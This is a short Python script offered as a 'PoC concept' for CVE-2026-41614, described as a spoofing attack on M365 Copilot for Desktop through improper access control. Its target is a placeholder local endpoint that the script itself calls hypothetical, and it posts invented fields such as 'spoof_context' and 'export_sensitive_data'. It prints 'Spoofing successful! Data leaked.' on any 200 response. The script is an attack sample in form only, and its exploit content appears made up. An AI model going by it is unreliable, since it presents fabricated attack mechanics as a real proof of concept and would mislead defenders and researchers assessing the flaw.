The following code is for security research and authorized testing only.
python
# PoC Concept for CVE-2026-41614
# This is a simulation of a spoofing attack on M365 Copilot for Desktop
# due to improper access control.
import requests
import json
def trigger_spoofing():
# Target local endpoint (Hypothetical)
target_url = "http://127.0.0.1:PORT/copilot/api/query"
# Malicious payload attempting to spoof user context
headers = {
"User-Agent": "M365-Copilot-Local-Agent",
"Content-Type": "application/json"
}
# Crafting a request that bypasses access control
payload = {
"action": "spoof_context",
"user_id": "victim_user",
"malicious_command": "export_sensitive_data"
}
try:
# Sending request without authentication (PR:N)
response = requests.post(target_url, headers=headers, data=json.dumps(payload))
if response.status_code == 200:
print("[+] Spoofing successful! Data leaked.")
print(response.text)
else:
print("[-] Attack failed or endpoint not reachable.")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
trigger_spoofing()